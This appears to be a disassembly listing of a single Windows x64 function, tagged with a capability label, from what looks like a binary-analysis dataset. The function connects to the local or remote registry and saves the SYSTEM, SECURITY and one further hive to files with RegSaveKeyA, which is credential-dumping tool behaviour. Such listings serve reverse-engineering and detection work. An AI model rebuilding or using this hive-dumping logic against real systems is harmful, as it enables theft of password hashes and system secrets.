Function at 0x140001640
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rbp - 8], rax
lea rax, [0x1400049a0]
mov qword [rbp - 0x30], rax
lea rax, str.SYSTEM
mov qword [rbp - 0x28], rax
lea rax, str.SECURITY
mov qword [rbp - 0x20], rax
lea r8, [rbp - 0x18]
mov rdx, 0xffffffff80000002
mov rcx, qword [0x1400076c8]
call qword [sym.imp.ADVAPI32.dll_RegConnectRegistryA]
test eax, eax
je 0x1400016c4
mov edx, eax
lea rcx, str.____RegConnectRegistryW:__d_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ebx, ebx
mov r12d, ebx
lea r13, [rbp - 0x30]
movabs rsi, 0x7fffffffffffffff
nop word [rax + rax]
lea rcx, str.___Connecting_to_registry_hive_n
call fcn.140001010
mov r15, qword [r13]
mov rdx, r15
lea rcx, str.___hive:__s_n
call fcn.140001010
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0xc
mov rdx, r15
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000192a
mov rdx, qword [0x1400076f0]
lea rcx, str.___Dumping_hive_to__s_n
call fcn.140001010
mov r14, qword [0x1400076f0]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [r14 + rbx], 0
jne 0x140001760
cmp rbx, rsi
ja 0x14000196e
mov qword [rbp - 0x38], 0xf
cmp rbx, 0x10
jae 0x140001799
mov qword [rbp - 0x40], rbx
mov r8, rbx
mov rdx, r14
lea rcx, [rbp - 0x50]
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140001837
mov rdi, rbx
or rdi, 0xf
cmp rdi, rsi
jbe 0x1400017b8
mov rdi, rsi
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1400017df
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x1400017fe
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001974
mov rcx, rax
call fcn.1400021c0
test rax, rax
je 0x14000190c
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000180f
test rcx, rcx
je 0x14000180d
call fcn.1400021c0
mov rsi, rax
jmp 0x14000180f
xor esi, esi
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rdi
mov r8, rbx
mov rdx, r14
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
movabs rsi, 0x7fffffffffffffff
mov rdi, 0xffffffffffffffff
nop
inc rdi
cmp byte [r15 + rdi], 0
jne 0x140001840
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x14000188d
lea rax, [rdi + rcx]
mov qword [rbp - 0x40], rax
lea rbx, [rbp - 0x50]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x50]
add rbx, rcx
mov r8, rdi
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
lea rax, [rbp - 0x50]
jmp 0x1400018a1
mov qword [rsp + 0x20], rdi
mov r9, r15
mov rdx, rdi
lea rcx, [rbp - 0x50]
call fcn.140002000
cmp qword [rax + 0x18], 0x10
jb 0x1400018ab
mov rax, qword [rax]
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegSaveKeyA]
mov ebx, eax
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x1400018f4
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000190c
call fcn.1400021fc
test ebx, ebx
jne 0x140001913
inc r12d
add r13, 8
cmp r12d, 3
jge 0x140001941
xor ebx, ebx
jmp 0x1400016e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov edx, ebx
lea rcx, str.RegSaveKeyA:__d_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, eax
lea rcx, str.____RegOpenKeyExA:__d_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400021a0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001210
int3
call fcn.140001170
int3